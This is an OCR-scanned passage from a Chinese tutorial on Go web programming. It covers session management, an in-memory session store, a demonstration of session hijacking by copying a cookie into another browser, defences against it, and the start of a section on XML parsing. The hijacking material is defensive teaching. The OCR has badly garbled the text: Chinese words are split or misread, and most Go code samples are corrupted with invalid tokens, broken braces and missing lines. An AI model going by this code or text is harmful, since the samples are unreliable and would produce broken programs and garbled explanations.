要 知识 了 解 清楚 ， 才 不 会 在 用 到 时 捉襟见肘 ， 或 是 在 调 bug 时 候 如 无 头 
苍蝇 乱 转 。 接 下 来 的 几 节 中 ， 我 们 将 详细 介绍 Session 相 关 的 知识 。 






























6.2 ”Go 语言 如 何 使 用 Session 


通过 上 一 小 节 的 介绍 ， 我 们 知道 Session 是 在 服务 器 端 实现 的 一 种 用 
户 和 服务 器 之 间 认证 的 解决 方案 ， 目 前 Go 语言 标准 包 没 有 为 Session 提 
PE 本 节 我 们 将 会 自己 动手 来 实现 Go 语言 版 本 的 Session 管 理 
0 创建 。 





Session 创 建 过 程 


Session 的 基本 原理 是 由 服务 器 为 每 个 会 话 维护 一 份 信息 数据 ， 客 户 
端 和 服务 端 依靠 一 个 全 局 唯一 的 标识 来 访问 这 份 数据 ， 以 达到 交互 的 目 
me 当 用 户 沪 os 服务 端 程序 会 随 需 要 创建 Session， 这 个 过 










. 标识 符 (SessionID) 。 

. 空间 。 服 务 端 程序 一 般 会 在 内 存 中 创建 相应 的 数 
据 结构 ， 但 这 种 情况 下 ， 系 统一 旦 断 电 ， 所 有 的 会 话 数据 就 会 丢失 ， 如 
果 是 电子 商务 类 网 站 ， 这 将 造成 严重 的 后 果 。 所 以 为 了 解决 这 类 问题 ， 
你 可 以 将 会 话 数 据 写 到 文件 里 或 存储 在 数据 库 中 ， 当 然 这 样 会 增加 IO 
开销 ， 但 是 它 可 以 实现 某 种 程度 的 Session 持 久 化 ， 也 更 有 利于 Session 的 


共享 。 

o ”将 Session 的 全 局 唯一 标示 符 发 送 给 客户 端 。 

以 上 三 个 步骤 中 ， 最 关键 的 是 如 何 发 送 这 个 Session 的 唯一 标识 这 一 
步 。 考 虑 到 HTTP 协 议 的 定义 ， 数 据 无 非 可 以 放 到 请 求 行 、 头 域 或 Body 
里 ， 所 以 一 般 来 说 会 有 两 种 常用 的 方式 ，Cookie 和 URL 重 写 。 

© Cookie 服 务 端 通过 设置 Set-cookie 头 就 可 以 将 Session 的 标识 符 传 
送 到 客户 端 ， 而 客户 端 此 后 的 每 一 次 请 求 都 会 带 上 这 个 标识 符 ， 另 外 一 
般 包含 Session 信 息 的 Cookie 会 将 失效 时 间 设 置 为 0 (会 话 Cookie) ， 即 
浏览 器 进程 有 效 时 间 。 至 于 浏览 器 怎么 处 理 这 个 0， 每 器 都 有 自 
己 的 方案 ， 但 差别 都 不 会 太 大 〈 一 般 体 现在 新 建 浏览 的 时 候 ) ; 

。 URL 重 写 所 谓 URL 重 写 ， 就 是 在 返回 给 用 户 的 页 面 里 的 所 有 的 
URL 后 面 追 加 Session 标 识 符 ， 这 样 用 户 在 收 到 响应 之 后 ， 无 论点 击 响应 
页 面 里 的 哪个 链接 或 提交 表单 ， 都 会 自动 带 上 Session 标 识 符 ， 从 而 就 实 
现 了 会 话 的 保持 。 虽 然 这 种 做 法 比较 麻烦 ， 但 是 ， 如 果 客 户 端 禁用 了 
Cookie 的 话 ， 此 种 方案 将 会 是 首选 。 





















Go 语言 实现 Session 管 理 


通过 上 面 Session 创 建 过 程 的 讲解 ， 读 者 应 该 对 Session 有 了 一 个 大 体 
的 认识 ， 但 是 具体 到 动态 页 面 技术 里 面 ， 又 是 怎么 实现 Session 的 呢 ? 下 
io ae Sessionti tee aE (lifecycle) ， 来 实现 Go 语言 版 本 的 





如 下 几 个 因素 。 
o 全 局 Session 管 理 器 
e ”保证 SessionID 的 全 局 唯一 性 
。 为 每 个 客户 关联 一 个 Session 
© ”Session 的 存储 可 以 存储 到 内 存 、 文 件 、 数 据 库 等 
© ”Session 过 期 处 理 
接 下 来 我 们 将 讲解 一 下 笔者 关于 Session 管 理 的 整个 设计 思路 以 及 相 
应 的 go 代码 示例 。 
Session 管 理 器 
一 个 全 局 的 Session 管 理 器 。 
type Manager struct { 
cookieName string  //private cockiename 
lock sync.Mutex // protects session 
provider Provider 


maxlifetime int64 
} 


func NewManager(provideName, cookieName string, maxlifetime int64) 
(Manager, error) { 

provider, ok :~ provides [providename] 

if tok { 

return nil, fmt.Errorf("session: unknown provide $q (forgotten 

import?)", provideName) 

} 

return §Manager{provider: provider, cookieName: cookieName, 
maxlifetime: maxlifetime}, nil 


) 
Go 语言 实现 整个 的 流程 应 该 也 是 这 样 ， 在 main 包 中 创建 一 个 全 局 
的 Session 管 理 器 。 
var globalsessions *session.Manager 
74/ 然 后 在 init 函数 中 初始 化 
fune init() { 
globalSessions = NewManager("memozy", "gosessionid", 3600) 


) 

Session 是 保存 在 服务 器 端的 数据 ， 它 可 以 以 任何 方式 存储 ， 比 如 存 
储 在 内 存 、 数 据 库 或 者 文件 中 。 因 此 我 们 抽象 出 一 个 Provider 接 口 ， 用 
以 表征 Session 管 理 器 底层 存储 结构 。 


type Provider interface { 
Sessioninit (sid string) (Session, error) 
SessionRead(sid string) (Session, error) 
SessionDestroy(sid string) error 
SessionGC(maxLifeTime int64) 


} 

”SessionInit 函 数 实现 Session 的 初始 化 ， 操 作成 功 则 返回 此 新 的 
Session 变 量 。 

© ”SessionRead 函 数 返回 sid 所 代表 的 Session 变 量 ， 如 果 不 存在 ， 那 
么 将 以 sid 为 参数 调用 SessionInit 函 数 创 建 并 返回 一 个 新 的 Session 变 量 。 

© ”SessionDestroy 函 数 用 来 销毁 sid 对 应 的 Session 变 量 。 

© ”SessionGC 根 据 maxLifeTime 来 删除 过 期 的 数据 。 

那么 Session 接 口 需要 实现 什么 样 的 功能 呢 ? 有 过 Web 开 发 经 验 的 读 
者 知道 ， 对 Session 的 处 理 基本 是 设置 值 、 读 取 值 、 删 除 值 及 获取 当前 
SessionID 这 四 个 操作 ， 所 以 我 们 的 Session 接 口 也 就 实现 这 四 个 操作 。 


type Session interface [ 
Set (key, value interface{}) error //set session value 
Get (key interface(}) interface(} //get session value 
Delete (key interface{}) error  //delete session value 
SessionID() string //back current sessionID 


以 上 设计 思路 来 源 于 database/sql/driver， 先 定义 好 接口 ， 
的 存储 Session 的 结构 实现 相应 的 接口 并 注册 后 ， 相 应 功能 这 样 就 可 以 使 
用 了 ， 以 下 是 用 来 随 需 注册 存储 Session 的 结构 的 Register 函 数 的 实现 。 


var provides = make (map[string]Provide) 








// Register makes a session provide available by the provided name. 
// If Register is called twice with the same name or if driver is nil, 
7/ it panics. 
func Register (name string, provide Provide) ( 
if drive nil ( 
panic("session: Register provide is nil") 





if _, dup := provides[name]; dup { 


panic("session: Register called twice for provide " + name) 
t 


provides[name] = provide 

} 

全 局 唯一 的 Session ID 

Session ID 是 用 来 识别 访问 Web 应 用 的 每 一 个 用 户 ， 因 此 必须 保证 
它 是 全 局 唯一 的 《GUID) ， 下 面 代码 展示 了 如 何 满足 这 一 需求 。 


func (manager *Manager) sessionId{) string { 








b := make({]byte, 32) 
» Err io.ReadFull(rand.Reader, b); err != nil { 
Teturn "" 


return base64.URLEncoding.EncodeTostring (b) 


Session 创 建 

我 们 需要 为 每 个 来 访 用 户 分 配 或 获取 与 它 相 关连 的 Session， 以 便 后 
面 根据 Session 信 息 来 验证 操作 。SessionStart 这 个 函数 就 是 用 来 检测 是 否 
已 经 有 某 个 Session 与 当前 来 访 用 户 发 生 了 关联 ， 如 果 没 有 则 创建 之 。 


func (manager *Manager) Sessionstart(w http.ResponseWriter, r 
“http.Request) (session Session) 1 
manager. lock. Lock () 
defer manager. lock.Unlock () 
cookie, err := r.Cookie (manager .cookieName) 
if err il 11 cookie.Value == "* 
sid := manager.sessionId() 
session, manager.provider.SessionInit (sid) 
cookie http.CookiefName: manager.cookieName, Value: 
url.QueryEscape (sid), Path: "/", HttpOnly: true, MaxAge: int (manager. 
maxlifetime) } 
http.SetCookie(w, scookie) 

















} else 1 
sid, _ := url.QueryUnescape (cookie. Value) 
session, _ = manager.provider.SessionRead(sid) 
$ 
return 


1 
我 们 用 前 面 login 操 作 来 演示 Session 的 运用 。 
func login(w http.ResponaeWriter，r *http.Request) { 
sess :- globalSessions.Sessionstazt (w, r) 
r.Pareeform() 
if r.Method == "GET" { 
t, _ := template. ParseFiles("login.gtpl") 
w.Header() -Set ("Content-Type", "text /html") 
上 .Execute [w, sess.Get ("username") ) 
} else { 
sess.Set ("usernane", r.Form["username"]) 
http.Redirect (w, r, "/", 302) 
+ 


} 

操作 值 ， 设 置 、 读 取 和 删除 

SessionStart 函 数 返回 的 是 一 个 满足 Session 接 口 的 变量 ， 那 么 我 们 该 
如 何 用 它 来 对 Session 数 据 进 行 操作 呢 ? 

上 面 例子 中 的 代码 Session.Get("uid") 已 经 展示 了 基本 的 读 取 数 据 的 
操作 ， 现 在 我 们 再 来 看 一 下 详细 的 操作 。 





func count (w http.Responseliriter, r *http.Request) { 
sess := globalSessions.SessionStart(w, r) 
createtime := sess.Get ("createtime") 
if createtime == nil { 
sess.Set ("createtime", time.Now() .Unix()} 


} else if (createtime. (int64) + 360) < (time.Now().Unix()) { 


globalSessions.SessionDestroy(w, r) 
sess = globalSessions.Sessionstart (w, r) 
J 
ct := sess.Get ("countnum") 





if ct == nil { 
sess.Set ("countnum", 1) 
} else 1 


sess.Set ("countnum", (ct. (int) + 1)) 
上 
t, — := template.ParseFiles("count.gtpl") 
w. Header () -Set ("Content-Type", "text/html") 
t.Execute(w, sess.Get ("countnum™)) 


通过 上 面 的 例子 可 以 看 到 ，Session 的 操作 和 操作 key/value 数 据 库 类 


似 Set、Get、Delete 等 操作 。 


因为 Session 有 过 期 的 概念 ， 所 以 我 们 定义 了 GC 操作 ， 当 访问 过 期 
时 间 满足 GC 的 触发 条 件 后 将 会 引起 GC， 但 是 当 我 们 进行 了 任意 一 个 
Session 操 作 ， 都 会 对 Session 实 体 进行 更 新 ， 都 会 触发 对 最 后 访问 时 间 的 


修改 ， 当 GC 的 时 候 才 就 不 会 误 删除 还 在 使 用 的 Session 实 体 。 
个 操作 ， 那 么 当 用 户 退 出 应 用 


Session 重 置 


我 们 知道 ，Web 应 用 中 有 用 户 退 出 





的 时 候 ， 我 们 需要 对 该 用 户 的 Session 数 据 进行 销毁 操作 ， 上 面 的 代码 已 
经 演示 了 如 何 使 用 Session 重 置 操作 ， 下 面 这 个 函数 就 实现 了 这 个 功能 。 


//Destroy sessionid 


func (manager *Manager) SessionDestroy(w http.Responseiriter, 


*hotp. Request) { 
cookie, err : 
if err I= 

return 
} else { 
manager. lock .Lock() 
defer manager. lock. UnLock () 
manager . provider .SessionDestroy (cookie. Value) 
le Now () 










Httponly: true, Expires: expiration, Maxnge: -1} 
http.SetCookie(w, cookie) 





1 
) 
Session 销 毁 


http.Cookie{Name: manager.cookieName, 


Path: 


nym, 


我 们 来 看 一 下 Session 管 理 器 如 何 来 管理 销毁 ， 只 要 我 们 在 Main 启 动 
的 时 候 做 如 下 操作 。 


func init() { 
go globalSessions.GC() 
} 


func (manager *Manager) GCO { 
manager. lock .Lock () 
defer manager. lock. Unlock () 
manager .provider .SessionGC (manager .maxlifet ime) 
time .AfterFunc(time.Duration(manager.maxlifetime), func() { manager 
ect) p 


1 

我 们 可 以 看 到 GC 充分 利用 了 time 包 中 的 定时 器 功能 ， 当 超时 
maxLifeTime 之 后 调用 GC 函数 ， 这 样 就 可 以 保证 maxLifeTime 时 间 内 的 
Session 都 是 可 用 的 ， 类 似 的 方案 也 可 以 用 于 统计 在 线 用 户 数 之 类 。 

至 此 ， 我 们 实现 了 一 个 用 来 在 Web 应 用 中 全 局 管理 Session 的 
SessionManager， 定 义 了 用 来 提供 Session 存 储 实现 Provider 的 接口 ， 下 一 
小 节 ， 我 们 将 会 通过 接口 定义 来 实现 一 些 Provider， 供 大 家 参考 学 习 。 


6.3 Session 存储 


上 一 节 我 们 介绍 了 Session 管 理 器 的 实现 原理 ， 定 义 了 存储 Session 的 
接口 ， 这 小 节 我 们 将 示例 一 个 基于 内 存 的 Session 存 储 接口 的 实现 ， 其 他 
ia 读者 可 以 自行 参考 示例 来 实现 ， 内 存 的 实现 请 看 下 面 的 例 
子 代码 。 


package memory 


import ( 
"container/list" 
"github. com/astaxie/session 
"sync" 
"time" 
) 


var pder = sProvider{list: list.New()} 


type Sessionstore struct { 


sid string J/session id 唯一 标示 
timeaccessed time.Time 7/7 最 后 访问 时 间 
value map[interface{}]interface{} //session 皇 面 存储 的 值 


func (st *SessionStore) set(key, value interface(}) error { 
st.value[key] = value 
pder. SessionUpdate (st. sid) 
return nil 


func (st *SessionStore) Get (key interface{}] interface{} { 








pder.SessionUpdate (st.sid) 

if v, ok := st.valuelkeyl; ok { 
return v 

) else { 


return nil 
1 
return nil 

} 


func (st *Sessionstore) Delete (key interface{}) error { 
delete (st.value, key) 
pder.SessionUpdate(st.sid) 
return nil 





func (st *SessionStore) SessionID() string í 
return st.sid 


} 


type Provider struct { 


lock sync.Mutex /7 用 来 镇 
sessions map[string]*1ist.Element // 用 来 存储 在 内 存 
list List .nist /7 用 来 做 gc 
) 
func (pder *Provider) SessionInit (sid string) (session.session, error) 


pder.lock.Leck() 
defer pder.lock.Unlock() 











v := make (map[interface()linterface{}, 0) 

newsess := aSessionstore{sid: sid, timeaccessed: time.wow(), valu 
v} 

element := pder.list.2ushBack(newsess) 


pder.sessions[sid] = element 
return newsess, nil 


} 


func (pder *Provider) sessionRead(sid string) (session.session, error) 





if element, ok := pder.sessions[sid]; ok { 
=turn element Value. (*SessionStore), nil 
J else { 





sess, err := pder.sessioninit (sid) 
return sess, err 


} 
return nil, nil 


func (pder *Provider) SessionDestroy(sid string} error { 
if element, ok := pder.sessions[sid]; ok { 
delete (pder. sessions, sid) 
pder. list. Remove (element) 
return n: 








} 
return nil 


func (pder *Provider) SessionGC(maxlifetime int64) { 
pder.lock.Lock() 
defer pder.lock.Unlock() 








for { 
element := pder.list.Back|) 
if element == nil { 
break 
] 
if (element Value. (*SessionStore) .timeAccessed Unix () + 





time) < time.Now() .Unix() { 
pder.list.Remove (element) 
delete (pder.sessions, element .Value. (*Sessionstore) .sid) 
] else { 
break 
1 


func (pder *Provider) SessionUpdate (sid string) error { 
pder. lock. Lock() 
defer pder.lock.Uniock() 
if element, ok := pder.sessions[sid]; ok { 
element .Value. (*Sessionstore] .timeaccessed = time.Now() 
pder. list Movetofront (element) 
return 











J 


return nil 


} 


func init() { 
pder.sessions = make(map{string]*list.Element, 0) 
session.Register("memory", pder) 


LIBLE T -AK TETEKI Session Lia tiniti Beek 
册 到 Session 管 理 器 中 。 这 样 就 可 以 方便 调用 。 我 们 如 何 来 调用 该 引擎 
呢 ? 请 看 下 面 的 代码 
的 .com/astaxie/session" 
_ "github. com/astaxie/session/providers/memory" 


"34import 的 时 候 已 经 执行 了 memory 函 数 里 面 的 init 函 数 ， 这 样 就 已 
经 注册 到 Session 管 理 器 中 ， 我 们 就 可 以 使 用 了 ， 通 过 如 下 方式 就 可 以 初 
始 化 一 个 Session 管 理 器 。 





var globalSessions *session.Manager 


/77 然后 在 init 函数 中 初始 化 

func init() { 
globalSessions, _=session.NewManager("memary", "gosessionid", 3600) 
go globalSessions.GC() 

2 


6.4 ”预防 Session 动 持 


Session 动 持 是 一 种 广泛 存在 的 比较 严重 的 安全 威胁 ， 在 Session 技 术 
中 ， 客 户 端 和 服务 端 通过 Session 的 标识 符 来 维护 会 话 ， 但 这 个 标识 符 很 
容易 就 能 被 嗅 探 到 ， 从 而 被 其 他 人 利用 。 它 是 中 间 人 攻击 的 一 种 类 型 。 

本 节 将 用 一 个 实例 来 演示 会 话 劫持 ， 希 望 通过 这 个 实例 ， 能 让 读者 
更 好 地 理解 Session 的 本 质 。 





Session 动 持 过 程 


我 们 写 了 如 下 的 代码 来 展示 一 个 count 计 数 器 。 
func cou -Res Writer, r *http.Request) { 
essionstart (w, r) 







sess.Set ("countnum", 1} 
} else 1 
sess.Set ("countnum®, (ct. (int) + 1)) 


ty nt .gtp1") 
w. s “text/htmi") 
te tnum") ) 


EIN gtpl 的 in 下 所 示 。 


Hi. Now count: 


然后 eden 38 i i 新 可 以 看 到 如 下 内 容 。 





© | localhost9090/count 


€ © fi | [) localhost:9090/count 





Hi. Now count:6 
图 6.4 浏览 器 端 显示 count 数 


随 着 刷新 ， 数 字 将 不 断 增 长 ， 当 数字 显示 为 6 的 时 候 ， 打 开 浏览 器 
(以 chrome 为 例 ) 的 Cookie 管 理 器 ， 可 以 看 到 类 似 如 下 的 信息 。 


Awesome Cookie Manager 


Q Domain ‘csi TQ Name | 19 Value 


: Cookies: 1 


disun +) > Help} 


Cookie Details 






































Expiration Date session 
Store i o 





图 65 ”获取 浏览 器 端 保存 的 Cookie 


下 面 这 个 步骤 最 为 关键 : 打开 另 一 个 浏览 器 〈 笔 者 打开 的 是 firefox 
Ne) ， 复 制 chrome 地 址 栏 里 的 地 址 到 新 打开 浏览 器 的 地 址 栏 中 。 然 
后 打开 firefox 的 Cookie 模 拟 插件 ， 新 建 一 个 Cookie， 把 按 上 图 中 Cookie 
内 容 原样 在 firefox 中 重建 一 份 。 
































7IKFCakUcMjS6M865rVNdk-viMFHt7WBmUIQD6rONc6Q%3D 
$ä: © [localhost 

















过 期 时 间 : | [ atend of session o 











Saveasnew | [Save] Close | 





RIR RRR 
MARS 在 会 话 结束 时 











(aga) (eit) (C Delete) C a ) 








图 6.6 模拟 Cookie 


按 回 车 键 后 ， 你 将 看 到 如 下 内 容 。 
eoo 


[EE] utp stocatmosts0s0/count >[ 


a a Ga @ localhost:9090/count 


Hi. Now count:7 
图 6.7 支持 Session 成 功 


虽然 换 了 浏览 器 ， 但 是 我 们 却 获 得 了 SessionID， 然 后 模拟 了 Cookie 
存储 的 过 程 。 这 个 例子 是 在 同一 台 计 算 机 上 做 的 ， 不 过 即使 换 用 两 台 来 
做 ， 其 结果 仍然 一 样 。 此 时 如 果 交 蔡 点 击 两 个 浏览 器 里 的 链接 你 会 发 现 
它们 其 实 操纵 的 是 同一 个 计数 器 。 不 必 惊 讶 ， 此 处 firefox 盗 用 了 chrome 
和 goserver 之 间 的 维持 会 话 的 钥匙 ， 即 goSessionid， 这 是 一 种 类 型 的 “会 
话 劫持 "。 在 goserver 看 来 ， 它 从 http 请 求 中 得 到 了 一 个 gosessionid， 由 于 
HTTP 协议 的 无 状态 性 ， 它 无 法 得 知 这 个 gosessionid 是 从 chrome 那 里 “ 动 
持 " 来 的 ， 它 依然 会 去 查找 对 应 的 Session， 并 执行 相关 计算 。 与 此 同时 
chrome 也 无 法 得 知 自己 保持 的 会 话 已 经 被 < 劫持”。 





Session 动 持 防范 


cookieonly 和 token 

通过 上 面 Session 动 持 的 简单 演示 可 以 了 解 到 ，Session 一 旦 被 其 他 人 
动 持 ， 就 非常 危险 ， 动 持 者 可 以 假装 成 被 动 持 者 进行 很 多 非法 操作 。 那 
么 如 何 有 效 的 防止 Session 动 持 呢 ? 

其 中 一 个 解决 方案 就 是 SessionID 的 值 只 允许 Cookie 设 置 ， 而 不 是 通 
过 URL 重 置 方 式 设置 ， 同 时 设置 Cookie 的 httponly 为 ttue， 这 个 属性 是 设 
置 是 否 可 通过 客户 端 脚本 访问 这 个 设置 的 Cookie， 第 一 ， 这 可 以 防止 该 
Cookie 被 XSS 读 取 从 而 引起 Session 动 持 ， 第 二 ，Cookie 设 置 不 会 像 URL 
重 置 方式 那么 容易 获取 SessionID 。 

第 二 步 就 是 在 每 个 请 求 里 面 加 上 token， 实 现 类 似 前 面 章节 里 面 讲 
的 防止 form 重 复 递交 类 似 的 功能 ， 我 们 在 每 个 请 求 里 面 加 上 一 个 隐藏 的 
token， 然 后 每 次 验证 这 个 token， 从 而 保证 用 户 的 请 求 都 是 唯一 性 。 

h i= md5.New 

sale :stastenset 748980" 

io.Writestring(h, salt+time.Now () .String ()) 

token:=fmt .Sprintf ("tx", h. Sum (nil) ) 

if r.Form["token"] !=token( 

7/ 提 示 登 录 
Bae orl een 


间隔 生成 新 的 SID 

还 有 一 个 解决 方案 就 是 ， 我 们 给 Session 额 外 设置 一 个 创建 时 间 的 
值 ， 一 旦 过 了 一 定 的 时 间 ， 我 们 销毁 这 个 SessionID， 重 新 生成 新 的 
Session， 这 样 可 以 一 定 程度 上 防止 Session 动 持 的 问题 。 


createtime := sess.Ger ("ereaterime") 
if createtime == nil { 
sess.Set ("createtime", time.Now() Unix ()) 
} else if (createtime. (int64) + 60) < (time.Now().Unix()) { 
globalSessions.SessionDestroy(w, =) 
sess = globalSessions.SessionStart (w, r) 


} 

Session 启 动 后 ， 我 们 设置 了 一 个 值 ， 用 于 记录 生成 SessionID 的 时 
间 。 通 过 判断 每 次 请 求 是 否 过 期 〈 这 里 设置 了 60 秒 ) 定期 生成 新 的 ID， 
这 样 使 得 攻击 者 获取 有 效 SessionID 的 机 会 大 大 降低 。 

上 面 两 个 手段 的 组 合 可 以 在 实践 中 消除 Session 动 持 的 风险 ， 一 方 
面 ， 由 于 SessionID 频 繁 改变 ， 使 攻击 者 难 有 机 会 获取 有 效 的 
SessionID; 另 一 方面 ， 因 为 SessionID 只 能 在 Cookie 中 传递 ， 然 后 设置 了 
httponly， 所 以 基于 URL 攻 击 的 可 能 性 为 零 ， 同 时 被 XSS 获 取 SessionID 








也 不 可 能 。 最 后 ， 由 于 我 们 还 设置 了 MaxAge=0， 这 样 就 相当 于 
Session、Cookie 不 会 留 在 浏览 器 的 历史 记录 里 面 。 


6.5 总 结 


本 章 我 们 学 习 了 什么 是 Session， 什 么 是 Cookie， 以 及 他 们 两 者 之 间 
的 关系 。 但 是 目前 Go 语言 官方 标准 包 里 面 不 支持 Session， 所 以 我 们 设 
计 了 一 个 Session 管 理 器 ， 实 现 了 Session 从 创建 到 销毁 的 整个 过 程 。 然 
定义 了 Provider 的 接口 ， 使 得 可 以 支持 各 种 后 端的 Session 存 储 ， 然 后 我 
们 在 第 6.3 节 介绍 了 如 何 使 用 内 存 存储 来 实现 Session 的 管理 。 第 6.5 节 讲 
解 了 Session 劫 持 的 过 程 ， 以 及 我 们 如 何 有 效 地 防止 Session 劫 持 。 通 过 本 
章 的 讲解 ， 希 望 能 够 让 读者 了 解 整个 sesison 的 执行 原理 以 及 如 何 实现 ， 
并 且 如 何 更 加 安全 地 使 用 Session。 

















第 7 章 MANNE 


Web 开 发 中 的 文本 处 理 是 非常 重要 的 一 部 分 ， 我 们 往往 需要 对 输出 
或 者 输入 的 内 容 进行 处 理 ， 这 里 的 文本 包括 字符 串 、 数 字 、JSON、 
XMI 等 。Go 语 言 作为 一 门 高 性 能 的 语言 ， 对 这 些 文本 的 处 理 都 有 官方 的 
标准 库 来 支持 。 你 在 使 用 中 会 发 现 ，Go 语 言 标准 库 的 一 些 设计 相当 巧 
妙 ， 而 且 也 很 方便 使 用 者 处 理 这 些 文本 。 本 章 将 让 用 户 对 Go 语言 文本 
处 理 有 一 个 很 好 的 认识 。 

XML 是 目前 很 多 标准 接口 的 交互 语言 ， 很 多 时 候 和 一 些 Java 编 写 的 
WebServer 进 行 交 互 都 是 基于 XML 标准 的 。 第 7.1 节 将 介绍 如 何 处 理 XML 
文本 ， 我 们 使 用 XML 之 后 发 现 它 太 复杂 了 ， 现 在 很 多 互联 网 企业 对 外 
的 API 大 多 数 采用 了 JSON 格 式 ， 这 种 格式 描述 简单 ， 但 是 又 能 很 好 地 表 
达意 思 ， 第 7.2 节 将 讲述 如 何 处 理 这 样 的 SON 格 式 数 据 。 正 则 是 一 个 让 
人 又 爱 又 恨 的 工具 ， 它 处 理 文本 的 能 力 非 常 强大 ， 我 们 在 前 面 表 单 验证 
里 面 已 经 有 所 领略 ， 第 7.3 节 将 详细 深入 地 讲解 如 何 利用 好 Go 的 正则 。 
Web 开 发 中 一 个 很 重要 的 部 分 就 是 MVC 分 离 ， 在 Go 语言 的 Web 开 发 
中 ，V (View) 有 一 个 专门 的 包 来 支持 template， 第 7.4 节 将 详细 讲解 如 
何 使 用 模板 输出 内 容 ， 第 7.5 节 讲 详 细 介绍 如 何 进行 文件 和 文件 夹 的 操 
作 ， 第 7.6 结 介绍 了 字符 串 的 相关 操作 。 








m 








7.1 XML 处 理 


XML 作为 一 种 数据 交换 和 信息 传递 的 格式 已 经 十 分 普及 。 随 着 Web 
服务 日 益 广泛 的 应 用 ， 现 在 XML 在 日 常 的 开发 工作 中 也 扮演 了 愈 发 重 
PAR 本 节 中 ， 我 们 将 就 Go 语言 标准 包 中 XML 处 理 相关 的 包 进 行 
a 

本 节 不 涉及 XML 规范 相关 的 内 容 〈 如 需 了 解 相关 知识 ， 请 参考 其 
他 文献 )》， 而 是 介绍 如 何 用 Go 语言 来 编 /解码 XML 文件 相关 的 知识 。 

假如 你 是 一 名 运 维 人 员 ， 为 你 所 管理 的 所 有 服务 器 生成 了 如 下 内 容 
的 XML 配置 文件 。 


<?xml version="1.0" encoding="utf-8"3> 
<servers version="1"> 
<server> 
<serverName>Shanghai VeN</serverName> 
<serverIP>127.0.0.1</serverIP> 
</server> 


<serverName>Beijing VPN</serverName> 
<serverIB>127.0.0.2</serVerIE> 





“请 网 入 MI 文档 描述 了 两 个 服务 器 的 信息 ， 包 含 了 服务 器 名 和 服 
务 器 的 IP 信 息 ， 接 下 来 的 Go 语言 例子 以 此 XML 描述 的 信息 进行 操作 。 


解析 XML 


如 何 解析 如 上 的 XML 文件 呢 ? 我 们 可 以 通过 XMI 包 的 Unmarshal 函 
数 来 达到 我 们 的 目的 。 

func Tinmarshal(data []byte, v interface{}) error 

data 接 收 的 是 XML 数据 流 ，v 是 需要 输出 的 结构 ， 定 义 为 interface， 
也 就 是 可 以 把 XML 转换 为 任意 的 格式 。 我 们 在 此 主要 介绍 struct 的 转 
换 ， Bsr M Aas MH ARN 

示例 代码 如 下 





package main 


import ( 





"io/ioutil” 
nos" 





[ 


‘xml: "servers"* 


type Recurlyserve: 


XMEName 
version “xml: "version, attr” 
Svs r `zml:"server" 





ami" 





Description string 'xml:", im 


type server struct { 
XMLName xml.Name `xml:"server"` 
ServerName string ‘aml: "ServerName" 
ServerIP string ‘xml: "serverrp"~ 





} 











func main() { 
file, err := os.0pen("servers.xml") // For read access. 
if err t= nil { 
fmt Printf("error: tv", err) 
return 
} 
defer file.close() 
data, err := ioutil.ReadAll (file) 
if err != nil { 
fmt. printt ", err) 
return 





Recurlyservers{} 
sml.Unmarshal(data, ev) 
err != nil { 
fmt.Printf("error: $v", err} 
return 





} 


fmt .Println(v) 
XML 本 质 上 是 一 种 树 形 的 数据 格式 ， 而 我 们 可 以 定义 与 之 匹配 的 
Go 语言 的 struct 类 型 ， 然 后 通过 xml.Unmarshal 将 xml 中 的 数据 解析 成 对 应 
的 stmuct 对 象 。 上 面 例子 输出 如 下 数据 。 


{{ servers} 1 [{{ server) Shanghai_ VEN 127.0.0.1} {{ server} Beijing_VPN 
127.0.0.2H1 
<server> 
<serverName>Shanghai_VPN</serverName> 
<serverIP>127.0.0.1</serverIP> 
</server> 
<server> 
<serverName>Bei j ing_VPN</serverName> 
<serverIP>127.0.0.2</serverIP> 
</server> 


) 

上 面 的 例子 中 ， 通 过 xml.Unmarshal 来 完成 将 xml 文 件 解析 成 对 应 的 
strcut 对 象 ， 这 个 过 程 是 如 何 实现 的 ? 可 以 看 到 ，struct 定 义 后 面 多 了 一 
些 类 似 于 xml:"serverName" 这 样 的 内 容 ， 这 个 是 strcut 的 一 个 特性 ， 它 们 
被 称 为 strcut tag， 是 用 来 辅助 反射 的 。 我 们 来 看 一 下 Unmarshal 的 定义 。 


func Unmarshal (data []byte, v interface(}) error 


我 们 看 到 函数 定义 了 两 个 参数 ， 第 一 个 是 XML 数据 流 ， 第 二 个 是 
存储 的 对 应 类 型 ， 目 前 支持 struct、slice 和 string，XML 包 内 部 采用 了 反 
射 来 进行 数据 的 映射 ， 所 以 v 中 的 字段 必须 是 导出 的 。Unmarshal 解 析 的 
时 候 ，XML 元 素 和 字段 怎么 对 应 起 来 呢 ? 这 有 一 个 优先 级 读 取 流 程 ， 
首先 会 读 取 struct tag， 如 果 没 有 ， 那 么 就 会 对 应 字段 名 。 必 须 注意 一 点 
的 是 ， 解 析 的 时 候 ，tag、 字 段 名 、XML 元 素 都 是 大 小 写 敏感 的 ， 所 以 
必须 一 对 应 字段 。 

Go 语言 具有 反射 机 制 ， 可 以 利用 这 些 tag 信 息 将 来 自 XML 文件 中 的 
数据 反射 成 对 应 的 struct 对 象 ， 关 于 反射 如 何 利用 struct tag 的 更 多 内 容 ， 
请 参阅 reflect 中 的 相关 内 容 。 

解析 XML 到 struct 的 时 候 遵循 如 下 规则 。 

@ ”如 果 struct 的 一 个 字段 是 string 或 者 []byte 类 型 ， 且 它 的 tag 含 
有 "innerxml"，Unmarshal 会 将 此 字段 所 对 应 的 元 素 内 所 有 内 嵌 的 原始 
xml 累 加 到 此 字段 上 ， 如 上 面 例子 中 的 Description 定 义 。 最 后 输出 
Shanghai_VPN127.0.0.1Beijing_VPN127.0.0.2。 

o ”如果 struct 中 有 一 个 叫做 XMLName， 且 类 型 为 xml.Name 字 段 ， 
FRE Leah cei i eme EA 如 上 面 例子 中 
yservers。 

o 如 果 某 个 struct 字 段 的 tag 定 义 中 含有 XML 结构 中 element 的 名 
称 ， 那 么 解析 的 时 候 就 会 把 相应 的 element 值 赋值 给 该 字段 ， 如 上 
servername 和 serverip 定 义 。 

© 如果 某 个 struct 字 段 的 tag 定 义 中 含有 ",attr""， 那 么 解析 的 时 候 就 
会 将 该 结构 所 对 应 的 element 与 字段 同名 的 属性 的 值 赋值 给 该 字段 ， 如 上 


version 定 义 。 

















o 如 果 某 个 struct 字 段 的 tag 定 义 形 如 "a>b>c"， 则 解析 的 时 候 ， 会 
将 XML 结构 a 中 的 子 结构 b 的 c 元 素 的 值 赋值 给 该 字段 。 

。 ”如果 某 个 struct 字 段 的 tag 定 义 了 "-"， 那 么 不 会 为 该 字段 解析 匹配 
